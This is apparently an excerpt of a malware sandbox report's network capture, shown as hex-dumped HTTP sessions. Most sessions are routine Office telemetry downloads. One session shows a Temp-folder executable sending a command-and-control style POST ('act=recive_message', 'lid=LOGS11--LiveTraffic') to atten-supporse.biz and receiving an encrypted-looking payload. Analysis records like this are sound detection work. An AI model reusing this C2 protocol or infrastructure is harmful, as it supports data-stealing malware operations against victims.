2024-11-30 08:45:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 922d60ff-b01e-0021-755f-40cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084551Z-174f7845968xr5c2hC1EWRd0hn0000000hz0000000007zqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:51 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:51 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9875fcdf-d01e-00ad-1c91-3fe942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084551Z-174f7845968kdththC1EWRzvxn0000000dgg000000005q3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49895	172.67.165.166	443	5224	C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:51 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-11-30 08:45:51 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-30 08:45:52 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b1uanheuv84hcc7cdkonk05s5u; expires=Wed, 26-Mar-2025 02:32:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yQM97aZYAMPkkEzUxyH0rUP6dIXPVRg5iAV6mkBJNHh8ORbrF5m1bORgBPnwK2%2FZsLCYd9QC%2BmCqIwrhJ6kspbHK%2FRsFpFfc6u%2Bl3RT2G6Yj46gesRkWWH6eJzMRJB0Ms%2FX3vEA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea9904f8c1741e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1875&min_rtt=1868&rtt_var=715&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1514522&cwnd=248&unsent_bytes=0&cid=653e0a6f424b974f&ts=796&x=0"
2024-11-30 08:45:52 UTC	350	IN	Data Raw: 31 64 38 36 0d 0a 44 6e 78 6a 6e 77 51 6c 62 64 72 70 4e 6f 72 42 45 4d 66 4c 4b 37 4f 71 6e 6d 58 70 63 57 62 6b 54 33 37 6e 57 7a 32 62 68 78 52 31 58 68 57 39 50 68 46 42 2b 4a 70 54 71 50 74 6b 74 62 35 4f 6e 34 6a 2f 41 63 74 4c 41 49 55 6a 44 59 4a 33 48 2b 33 71 4e 6a 51 61 41 76 4e 33 51 45 48 34 6a 45 36 6f 2b 30 75 38 36 55 37 64 69 4b 52 48 6a 42 73 45 68 53 4d 63 68 6a 42 53 36 2b 74 33 5a 68 41 45 39 32 46 47 43 62 75 46 57 2b 2b 6b 64 61 61 68 52 64 72 48 39 67 6a 4c 58 55 53 42 4e 56 7a 64 65 58 44 2b 38 33 56 44 48 52 44 30 4a 6c 68 42 6f 63 74 54 35 4f 4d 71 35 61 70 4f 30 63 62 34 41 59 49 5a 44 6f 77 72 48 59 4d 78 54 66 4c 68 66 47 59 65 42 2f 5a 72 54 78 32 32 6a 31 7a 6b 6f 6e 2b 6d 36 51 65 52 7a 2b 52 48 30 31 4e 58 74 43 34 4e 6c Data Ascii: 1d86DnxjnwQlbdrpNorBEMfLK7OqnmXpcWbkT37nWz2bhxR1XhW9PhFB+JpTqPtktb5On4j/ActLAIUjDYJ3H+3qNjQaAvN3QEH4jE6o+0u86U7diKRHjBsEhSMchjBS6+t3ZhAE92FGCbuFW++kdaahRdrH9gjLXUSBNVzdeXD+83VDHRD0JlhBoctT5OMq5apO0cb4AYIZDowrHYMxTfLhfGYeB/ZrTx22j1zkon+m6QeRz+RH01NXtC4Nl
2024-11-30 08:45:52 UTC	1369	IN	Data Raw: 42 2f 4e 6e 53 67 2b 71 67 31 2f 6a 70 6d 43 75 6f 45 54 63 79 50 45 4e 68 42 41 45 67 53 63 57 69 6a 4e 62 39 4f 68 77 62 42 35 42 73 79 5a 41 46 2f 6a 54 46 4d 75 6d 59 71 4b 6c 58 35 50 79 76 42 6a 46 43 6b 53 42 49 56 7a 64 65 56 66 38 35 6e 56 6e 45 51 4c 31 62 56 55 50 71 6f 31 5a 37 62 46 30 6f 4b 64 44 30 74 72 32 43 59 30 51 44 59 30 6b 47 59 49 39 48 37 65 6c 63 58 52 65 57 62 31 48 53 67 53 30 67 55 50 6f 34 32 33 72 73 41 6e 57 78 4c 78 66 79 78 63 46 67 69 77 59 69 7a 64 62 39 65 4e 34 59 52 45 48 39 32 5a 41 42 62 43 44 56 65 57 6f 66 61 57 73 52 4e 58 4f 38 41 61 4f 55 30 72 47 4b 67 54 46 59 52 2f 58 34 6e 56 2b 58 44 54 2b 61 45 6b 49 72 73 74 4c 70 72 6f 79 6f 71 55 4a 69 59 6a 79 41 6f 51 42 42 5a 51 6f 45 70 63 31 57 76 2f 6f 64 57 49 Data Ascii: B/NnSg+qg1/jpmCuoETcyPENhBAEgScWijNb9OhwbB5BsyZAF/jTFMumYqKlX5PyvBjFCkSBIVzdeVf85nVnEQL1bVUPqo1Z7bF0oKdD0tr2CY0QDY0kGYI9H7elcXReWb1HSgS0gUPo423rsAnWxLxfyxcFgiwYizdb9eN4YREH92ZABbCDVeWofaWsRNXO8AaOU0rGKgTFYR/X4nV+XDT+aEkIrstLproyoqUJiYjyAoQBBZQoEpc1Wv/odWI
2024-11-30 08:45:52 UTC	1369	IN	Data Raw: 45 6b 49 72 73 74 4c 70 72 6f 79 6f 71 55 4a 69 59 6a 77 44 6f 73 59 44 6f 49 74 47 34 67 38 58 50 37 6d 65 32 73 55 44 2f 70 69 53 77 61 31 6a 56 54 76 70 33 65 33 72 45 44 64 78 4c 78 4a 79 78 51 63 78 6e 56 63 71 6a 35 4a 2b 73 70 31 66 52 64 42 34 69 68 65 54 37 2b 48 46 4c 44 6a 64 61 43 68 51 74 66 41 2f 42 57 4f 48 51 2b 48 4a 78 71 45 4e 46 50 2f 35 58 64 73 47 41 33 39 59 55 41 64 71 6f 35 53 2b 71 6b 79 36 2b 6c 4f 79 59 69 6b 52 37 30 44 45 35 63 37 58 72 41 36 55 66 66 69 59 43 77 42 54 2b 51 6d 51 41 50 34 30 78 54 6a 6f 33 36 69 6f 55 2f 56 77 50 4d 49 67 67 45 46 69 69 4d 4f 67 6a 6c 57 39 2b 70 36 5a 52 4d 47 38 47 31 4e 41 72 79 4d 56 61 6a 74 4d 71 4b 78 43 59 6d 49 79 68 65 47 48 79 71 4e 49 52 58 46 4a 68 48 67 70 58 46 67 58 6c 6d 39 Data Ascii: EkIrstLproyoqUJiYjwDosYDoItG4g8XP7me2sUD/piSwa1jVTvp3e3rEDdxLxJyxQcxnVcqj5J+sp1fRdB4iheT7+HFLDjdaChQtfA/BWOHQ+HJxqENFP/5XdsGA39YUAdqo5S+qky6+lOyYikR70DE5c7XrA6UffiYCwBT+QmQAP40xTjo36ioU/VwPMIggEFiiMOgjlW9+p6ZRMG8G1NAryMVajtMqKxCYmIyheGHyqNIRXFJhHgpXFgXlm9
2024-11-30 08:45:52 UTC	1369	IN	Data Raw: 65 4b 55 4f 32 6d 64 71 4b 74 54 39 36 49 73 6b 65 4d 43 30 54 65 62 54 4f 69 44 42 33 59 33 7a 5a 7a 55 42 69 39 59 55 74 50 34 4d 74 59 36 36 39 36 71 71 39 41 33 63 4c 31 44 49 63 59 41 49 6f 6b 47 59 4d 34 57 76 7a 6b 63 6d 41 55 42 2f 35 6c 53 41 43 33 67 78 53 6d 34 33 57 39 36 52 47 52 37 65 73 4d 68 52 56 45 6d 57 4d 46 78 54 35 54 75 62 30 32 59 42 63 48 2b 32 4e 4c 44 72 36 44 55 65 43 6e 63 36 4f 76 53 74 37 4d 2b 51 61 45 46 77 69 49 4a 78 32 45 4e 56 54 32 37 6e 4d 73 55 45 48 36 66 67 64 58 2b 4c 70 58 2f 72 52 69 71 65 6c 57 6e 39 47 38 41 49 64 54 58 4d 59 73 44 6f 38 7a 55 66 7a 71 63 32 38 52 42 76 42 67 53 77 57 78 67 31 4c 6e 71 6d 43 6d 70 55 66 57 78 76 41 4a 68 68 6b 48 69 32 31 53 78 54 35 48 75 62 30 32 51 42 6b 4d 30 32 31 4c 43 Data Ascii: eKUO2mdqKtT96IskeMC0TebTOiDB3Y3zZzUBi9YUtP4MtY6696qq9A3cL1DIcYAIokGYM4WvzkcmAUB/5lSAC3gxSm43W96RGR7esMhRVEmWMFxT5Tub02YBcH+2NLDr6DUeCnc6OvSt7M+QaEFwiIJx2ENVT27nMsUEH6fgdX+LpX/rRiqelWn9G8AIdTXMYsDo8zUfzqc28RBvBgSwWxg1LnqmCmpUfWxvAJhhkHi21SxT5Hub02QBkM021LC
2024-11-30 08:45:52 UTC	1369	IN	Data Raw: 36 34 7a 7a 6c 72 6c 47 52 6b 4c 77 78 6a 41 4d 55 68 57 38 74 6b 7a 70 4a 38 75 68 36 4c 41 46 50 35 43 5a 41 41 2f 6a 54 46 4f 36 73 65 36 61 6d 53 4e 6a 45 38 51 4b 43 46 67 57 41 4b 52 61 50 4f 56 6e 2f 35 48 4e 6d 48 51 44 33 62 30 41 48 76 34 68 47 71 4f 30 79 6f 72 45 4a 69 59 6a 56 41 4a 6b 64 46 4d 59 79 55 70 78 35 57 50 57 6c 4c 69 77 61 43 2f 4a 69 51 41 4f 2b 6a 6c 4c 6c 6f 6e 32 6b 71 55 62 56 77 2f 55 42 69 68 34 42 69 79 6b 4f 6a 7a 4a 51 39 65 78 36 59 56 35 50 76 57 46 66 54 2b 44 4c 5a 65 57 74 66 4b 4b 2f 43 63 36 47 35 55 65 4d 48 30 54 65 62 52 32 4a 4e 6c 7a 32 35 6e 56 74 46 42 50 76 61 6b 34 48 76 59 64 66 35 71 56 67 6f 36 5a 41 30 73 76 31 41 49 4d 66 44 6f 55 71 58 4d 74 35 57 4f 47 6c 4c 69 77 39 46 75 31 72 42 78 44 32 6b 68 Data Ascii: 64zzlrlGRkLwxjAMUhW8tkzpJ8uh6LAFP5CZAA/jTFO6se6amSNjE8QKCFgWAKRaPOVn/5HNmHQD3b0AHv4hGqO0yorEJiYjVAJkdFMYyUpx5WPWlLiwaC/JiQAO+jlLlon2kqUbVw/UBih4BiykOjzJQ9ex6YV5PvWFfT+DLZeWtfKK/Cc6G5UeMH0TebR2JNlz25nVtFBPvak4HvYdf5qVgo6ZA0sv1AIMfDoUqXMt5WOGlLiw9Fu1rBxD2kh
2024-11-30 08:45:52 UTC	1369	IN	Data Raw: 6f 71 39 48 77 38 33 36 43 49 51 61 44 59 49 6c 48 34 55 39 57 2f 37 67 64 57 41 56 42 76 35 70 51 77 61 32 67 6c 75 6f 37 54 4b 69 73 51 6d 4a 69 4e 30 63 69 42 38 4a 78 6a 4a 53 6e 48 6c 59 39 61 55 75 4c 42 49 50 2b 47 5a 4e 43 62 79 4f 55 75 4b 6d 63 71 36 71 52 74 58 4f 2b 41 69 4c 47 41 32 48 4b 78 6d 50 4d 6c 6e 30 35 6e 42 71 58 6b 2b 39 59 56 39 50 34 4d 74 30 38 36 35 2b 6f 75 6c 57 6e 39 47 38 41 49 64 54 58 4d 59 6d 45 49 45 2b 58 2f 54 6d 66 6d 6b 61 43 2f 68 6d 54 78 32 77 69 31 50 36 73 58 4b 73 72 45 58 53 79 50 67 42 67 68 55 48 67 6d 31 53 78 54 35 48 75 62 30 32 51 52 49 47 31 47 46 63 54 36 66 46 54 61 69 6b 66 75 58 78 43 64 44 44 39 67 69 47 45 41 4b 46 4a 68 6d 50 4f 46 6a 78 36 47 52 76 45 51 37 35 5a 6b 67 4a 76 6f 70 62 37 71 52 Data Ascii: oq9Hw836CIQaDYIlH4U9W/7gdWAVBv5pQwa2gluo7TKisQmJiN0ciB8JxjJSnHlY9aUuLBIP+GZNCbyOUuKmcq6qRtXO+AiLGA2HKxmPMln05nBqXk+9YV9P4Mt0865+oulWn9G8AIdTXMYmEIE+X/TmfmkaC/hmTx2wi1P6sXKsrEXSyPgBghUHgm1SxT5Hub02QRIG1GFcT6fFTaikfuXxCdDD9giGEAKFJhmPOFjx6GRvEQ75ZkgJvopb7qR
2024-11-30 08:45:52 UTC	371	IN	Data Raw: 39 4b 50 77 6a 6d 73 42 51 36 42 50 52 75 53 4e 68 2b 33 70 58 6b 73 52 6a 69 39 62 30 41 55 71 5a 31 5a 2b 4b 51 79 6d 75 63 4a 79 59 69 6b 52 37 34 51 43 6f 67 71 43 70 52 30 65 4f 2f 76 63 58 77 5a 46 76 49 6d 43 55 2b 2b 79 77 79 37 37 54 4b 68 75 41 6d 4a 6d 4b 35 63 33 6b 42 54 31 6e 38 44 79 79 41 66 37 36 55 75 50 6c 42 42 37 79 59 66 54 2f 2b 49 52 76 71 6c 63 62 4f 71 44 75 2f 32 32 78 32 47 46 52 4f 58 45 79 4b 43 49 31 4c 2f 38 6d 63 67 43 77 4c 7a 61 45 41 5a 2b 4d 55 55 35 2b 4d 71 6e 4f 6b 42 6b 66 65 79 52 35 4e 54 58 4d 59 59 48 34 73 33 57 4f 2f 30 4f 30 73 45 44 50 74 78 56 6b 2f 32 79 31 4b 6f 2b 79 4c 72 36 55 33 41 69 4b 52 58 32 55 68 52 31 58 70 4d 31 79 59 52 34 4b 56 67 4c 45 5a 54 73 79 5a 56 54 2b 44 4c 45 2b 75 78 59 4b 4f 71 Data Ascii: 9KPwjmsBQ6BPRuSNh+3pXksRji9b0AUqZ1Z+KQymucJyYikR74QCogqCpR0eO/vcXwZFvImCU++ywy77TKhuAmJmK5c3kBT1n8DyyAf76UuPlBB7yYfT/+IRvqlcbOqDu/22x2GFROXEyKCI1L/8mcgCwLzaEAZ+MUU5+MqnOkBkfeyR5NTXMYYH4s3WO/0O0sEDPtxVk/2y1Ko+yLr6U3AiKRX2UhR1XpM1yYR4KVgLEZTsyZVT+DLE+uxYKOq
2024-11-30 08:45:52 UTC	1369	IN	Data Raw: 32 37 30 32 0d 0a 34 48 53 4c 75 5a 52 75 36 67 5a 4b 62 75 64 2b 2f 4c 36 67 71 45 47 41 57 34 45 7a 4b 49 4f 46 7a 33 70 30 64 36 45 78 48 2b 59 30 41 78 68 6f 56 54 2f 4b 52 38 6f 36 6b 4a 6e 34 6a 7a 52 39 4d 71 52 4d 35 74 49 38 74 35 52 37 6d 39 4e 6c 6b 64 44 2f 4e 68 55 52 37 31 71 45 4c 6c 72 48 6d 6b 36 51 65 52 7a 72 78 66 32 31 31 45 67 6a 78 63 33 57 6b 4e 6f 72 41 6c 4f 30 35 54 34 69 68 65 54 36 37 4c 44 4c 72 74 4d 72 66 70 45 5a 47 50 38 67 71 4b 45 41 71 46 50 77 36 44 4f 6b 6e 36 6f 6b 68 53 50 77 7a 32 61 6b 6f 41 73 37 56 71 79 61 35 35 71 61 52 47 32 76 62 43 45 6f 67 64 43 6f 45 37 44 63 56 33 48 2f 61 6c 4c 6c 56 65 53 62 31 5a 43 55 2b 67 79 77 79 6f 6c 6e 47 72 70 30 37 48 32 62 45 6d 68 68 67 49 69 79 49 58 78 58 63 66 2f 36 55 Data Ascii: 27024HSLuZRu6gZKbud+/L6gqEGAW4EzKIOFz3p0d6ExH+Y0AxhoVT/KR8o6kJn4jzR9MqRM5tI8t5R7m9NlkdD/NhUR71qELlrHmk6QeRzrxf211Egjxc3WkNorAlO05T4iheT67LDLrtMrfpEZGP8gqKEAqFPw6DOkn6okhSPwz2akoAs7Vqya55qaRG2vbCEogdCoE7DcV3H/alLlVeSb1ZCU+gywyolnGrp07H2bEmhhgIiyIXxXcf/6U
2024-11-30 08:45:52 UTC	1369	IN	Data Raw: 73 4e 59 59 68 69 37 6d 31 4c 72 6e 55 79 4f 70 55 2f 57 30 76 73 42 72 54 4e 45 79 47 30 54 78 57 46 6d 75 61 30 32 55 31 42 42 35 53 59 66 54 34 32 49 57 75 61 6b 5a 4c 54 6b 62 4d 62 4c 37 41 47 49 55 30 72 47 4b 31 7a 64 61 52 47 35 34 57 63 73 52 6c 47 76 50 52 4a 63 37 39 73 47 39 2b 31 72 35 62 38 4a 69 5a 71 79 52 35 6c 54 58 4d 5a 71 48 35 63 72 57 66 72 7a 64 53 73 67 50 39 74 6c 56 67 57 5a 68 6b 54 76 6e 55 79 77 71 6b 66 66 7a 2b 6f 57 79 31 31 45 69 57 31 45 76 48 6b 58 74 65 4e 31 65 6c 34 2b 73 79 5a 66 54 2b 44 4c 59 65 75 74 66 4b 4b 2f 57 4a 7a 75 2f 78 61 42 4d 67 6d 57 4b 6c 7a 4c 65 56 6d 35 76 53 55 69 58 67 58 73 4a 68 39 66 36 74 41 42 75 2f 51 69 39 37 59 48 79 49 6a 71 52 39 4e 42 53 73 59 2f 58 4e 31 35 47 50 72 33 5a 47 6f 64 Data Ascii: sNYYhi7m1LrnUyOpU/W0vsBrTNEyG0TxWFmua02U1BB5SYfT42IWuakZLTkbMbL7AGIU0rGK1zdaRG54WcsRlGvPRJc79sG9+1r5b8JiZqyR5lTXMZqH5crWfrzdSsgP9tlVgWZhkTvnUywqkffz+oWy11EiW1EvHkXteN1el4+syZfT+DLYeutfKK/WJzu/xaBMgmWKlzLeVm5vSUiXgXsJh9f6tABu/Qi97YHyIjqR9NBSsY/XN15GPr3ZGod

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:51 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b0621631-101e-008e-3d91-3fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084551Z-174f78459688l8rvhC1EWRtzr00000000dr00000000083su x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:52 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:52 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: ae63cf80-d01e-00ad-1daa-42e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084552Z-174f78459684bddphC1EWRbht400000010u000000000aqzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:52 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:52 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:52 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: e83b5619-a01e-000d-5811-41d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084552Z-174f7845968zgtf6hC1EWRqd8s0000000u2g000000007zk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

